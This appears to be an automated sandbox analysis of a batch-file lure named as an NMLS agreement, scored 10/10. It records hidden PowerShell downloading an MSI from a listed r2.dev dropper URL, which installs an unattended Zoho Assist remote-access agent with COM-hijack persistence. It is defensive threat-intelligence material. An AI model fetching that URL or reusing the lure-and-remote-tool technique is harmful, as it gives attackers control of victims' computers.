5c03166cc80e8f5771adf72ccb605a6b2069d057026a57e3be142dc0dece7a78

Analysis

max time kernel
149s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 17:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NMLSUpdatedAgreementJuly26.bat
Size 3KB
Sample260701-vytdaabs5q
SHA256 5c03166cc80e8f5771adf72ccb605a6b2069d057026a57e3be142dc0dece7a78
MD5 5912386eeffda28b61f38821b3a60d94
SHA1 c120d6a12dbec3f9e809d1cc7b08758ec6d559b0
SHA512 0f0f753eb4c091b14f0d06ea114f9858b98e41c76b0415ddc220d937e99fcbd74fc57ae0321d5aa55a632ae8a5c53c8bd11607a81d92c68d090937a6c8f211a7
TLSH
T17771CD2DDE74FCD0037D729089652E9720D15B47DB760EB8DA0218EB2D29752DF2A39C
MD5 SHA1 SHA512 TLSH

Score

10^/10

costura discovery execution packer persistence privilege_escalation

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://pub-94bcdb2c0d5644a18f974d17ef3ea70e.r2.dev/ZA_Access_My_Department.msi

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5684	powershell.exe
3	4556	msiexec.exe
4	4556	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5684	powershell.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 9 IoCs

pid	Process
4952	ZADeployer.exe
1992	7z.exe
5552	ZohoURSService.exe
1312	ZohoURS.exe
5780	ZohoURS.exe
3960	ZA_Upgrader.exe
5136	ZohoURSService.exe
4920	ZohoURS.exe
6528	ZohoURS.exe

Loads dropped DLL 7 IoCs

pid	Process
1992	7z.exe
5552	ZohoURSService.exe
5780	ZohoURS.exe
1312	ZohoURS.exe
5136	ZohoURSService.exe
4920	ZohoURS.exe
6528	ZohoURS.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral2/files/0x000c00000001c646-185.dat	costura

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Bulk_Deployment_Manager.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\agent_ui.exe	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURSService.exe	ZADeployer.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZMAgent.exe	ZohoURSService.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\Language\AgentApplicationResources.properties	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\uems.ico	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\URSCredentialProvider32.dll	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAErrorMonitor.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoTray.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe	ZohoURSService.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\uems.ico	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZADeployer.exe	msiexec.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\AssistSilentUninstall.iss	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ScreenSharingUtils.dll	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\VideoProcessor.dll	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAService.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\Tools	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\AssistLogo_transparent_48.ico	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Connect.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\RemComm.dll	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\AssistLogo_transparent_48.ico	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Settings.conf	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\AgentTroubleshootingTool.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\RTCUtil.dll	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Upgrader.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZA_Upgrader.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\Language	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\wake_on_lan_settings.ps1	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ScreenSharingUtils.dll	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZADeployer.exe	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAFileTransfer.exe	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting.7z	msiexec.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ScriptLauncher.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ScriptLauncher.exe	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ToolsIQ.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\URSCredentialProvider32.dll	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\Tools\ZohoAssistAgent.iss	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ClientSocket.dll	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoTray.exe	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\autologon\URSCredentialProvider.dll	ZohoURSService.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\AssistLogo_white_border_32.ico	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ClientSocket.dll	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Connect.exe	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\RemComm.dll	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ScreenCapturingModule.dll	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Toolsmanager.exe	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe	ZADeployer.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\dctoolshardware.exe.config	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\AgentTroubleshootingTool.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ImageProcessor.dll	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\VirtualMonitor.dll	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\VirtualMonitor.dll	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\dctoolshardware.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZohoURS.exe	ZohoURSService.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\7z.dll	msiexec.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\Resource\AssistLogo_white_border_32.ico	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\wake_on_lan_settings.ps1	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\HttpClient.dll	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\SessionAudit.exe	7z.exe
File created	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAAudioClient.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAAudioClient.exe	7z.exe
File opened for modification	C:\Program Files (x86)\ZohoMeeting\UnAttended\ZohoMeeting\ZAService.exe	7z.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\{A0FEF036-409E-4F92-A33A-661CFB19A884}\_853F67D554F05449430E7E.exe	msiexec.exe
File created	C:\Windows\Installer\e58c0a0.msi	msiexec.exe
File created	C:\Windows\Installer\e58c09c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE284CB20CEAABA1F.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{A0FEF036-409E-4F92-A33A-661CFB19A884}	msiexec.exe
File created	C:\Windows\Installer\{A0FEF036-409E-4F92-A33A-661CFB19A884}\_853F67D554F05449430E7E.exe	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD1653AD9EBE4974E.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4A6457420196E755.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c09c.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF479B6EC9B2CA30BD.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC6A6.tmp	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZohoURSService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZohoURS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZohoURS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZohoURS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZADeployer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZohoURS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZA_Upgrader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZohoURSService.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	ZADeployer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	ZADeployer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	ZohoURSService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	ZADeployer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	ZADeployer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	ZADeployer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	ZADeployer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	ZADeployer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	ZohoURSService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	ZADeployer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	ZADeployer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	ZADeployer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	ZADeployer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	ZohoURS.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	ZohoURS.exe

Modifies registry class 28 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\Version = "3926196251"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\09EAD96FDDA80A241B279433C7FEE9B1\630FEF0AE90429F43AA366C1BF918A48	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1D8C690-705E-40BA-9A89-F76A36B2E9CA}\InprocServer32\ = "C:\\Program Files (x86)\\ZohoMeeting\\UnAttended\\ZohoMeeting\\autologon\\URSCredentialProvider.dll"	ZohoURSService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1D8C690-705E-40BA-9A89-F76A36B2E9CA}\InprocServer32\ThreadingModel = "Apartment"	ZohoURSService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\PackageName = "__pkg_c470e6b4-cb7f-4d89-a017-0f1b2b8d465a.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\LastUsedSource = "n;1;C:\\Windows\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1D8C690-705E-40BA-9A89-F76A36B2E9CA}\ = "URSCredentialProvider.dll"	ZohoURSService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\09EAD96FDDA80A241B279433C7FEE9B1	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\630FEF0AE90429F43AA366C1BF918A48	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\ProductName = "Zoho Assist Unattended Agent"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\PackageCode = "E24622B45304C9B4186E36C3AF16DC2E"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\ProductIcon = "C:\\Windows\\Installer\\{A0FEF036-409E-4F92-A33A-661CFB19A884}\\_853F67D554F05449430E7E.exe"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\Net\1 = "C:\\Windows\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1D8C690-705E-40BA-9A89-F76A36B2E9CA}	ZohoURSService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1D8C690-705E-40BA-9A89-F76A36B2E9CA}\InprocServer32	ZohoURSService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\630FEF0AE90429F43AA366C1BF918A48\DefaultFeature	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\630FEF0AE90429F43AA366C1BF918A48	msiexec.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
5684	powershell.exe
5684	powershell.exe
4556	msiexec.exe
4556	msiexec.exe
4952	ZADeployer.exe
4952	ZADeployer.exe
4952	ZADeployer.exe
4952	ZADeployer.exe
4952	ZADeployer.exe
4952	ZADeployer.exe
4952	ZADeployer.exe
4952	ZADeployer.exe
4952	ZADeployer.exe
4952	ZADeployer.exe
5552	ZohoURSService.exe
5552	ZohoURSService.exe
5552	ZohoURSService.exe
5552	ZohoURSService.exe
5552	ZohoURSService.exe
5552	ZohoURSService.exe
5552	ZohoURSService.exe
5552	ZohoURSService.exe
5552	ZohoURSService.exe
5552	ZohoURSService.exe
5552	ZohoURSService.exe
5552	ZohoURSService.exe
5136	ZohoURSService.exe
5136	ZohoURSService.exe
5136	ZohoURSService.exe
5136	ZohoURSService.exe
5136	ZohoURSService.exe
5136	ZohoURSService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5684	powershell.exe
Token: SeShutdownPrivilege	1644	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1644	msiexec.exe
Token: SeSecurityPrivilege	4556	msiexec.exe
Token: SeCreateTokenPrivilege	1644	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1644	msiexec.exe
Token: SeLockMemoryPrivilege	1644	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1644	msiexec.exe
Token: SeMachineAccountPrivilege	1644	msiexec.exe
Token: SeTcbPrivilege	1644	msiexec.exe
Token: SeSecurityPrivilege	1644	msiexec.exe
Token: SeTakeOwnershipPrivilege	1644	msiexec.exe
Token: SeLoadDriverPrivilege	1644	msiexec.exe
Token: SeSystemProfilePrivilege	1644	msiexec.exe
Token: SeSystemtimePrivilege	1644	msiexec.exe
Token: SeProfSingleProcessPrivilege	1644	msiexec.exe
Token: SeIncBasePriorityPrivilege	1644	msiexec.exe
Token: SeCreatePagefilePrivilege	1644	msiexec.exe
Token: SeCreatePermanentPrivilege	1644	msiexec.exe
Token: SeBackupPrivilege	1644	msiexec.exe
Token: SeRestorePrivilege	1644	msiexec.exe
Token: SeShutdownPrivilege	1644	msiexec.exe
Token: SeDebugPrivilege	1644	msiexec.exe
Token: SeAuditPrivilege	1644	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1644	msiexec.exe
Token: SeChangeNotifyPrivilege	1644	msiexec.exe
Token: SeRemoteShutdownPrivilege	1644	msiexec.exe
Token: SeUndockPrivilege	1644	msiexec.exe
Token: SeSyncAgentPrivilege	1644	msiexec.exe
Token: SeEnableDelegationPrivilege	1644	msiexec.exe
Token: SeManageVolumePrivilege	1644	msiexec.exe
Token: SeImpersonatePrivilege	1644	msiexec.exe
Token: SeCreateGlobalPrivilege	1644	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	4556	msiexec.exe
Token: SeTakeOwnershipPrivilege	4556	msiexec.exe
Token: SeRestorePrivilege	1992	7z.exe
Token: 35	1992	7z.exe
Token: SeSecurityPrivilege	1992	7z.exe
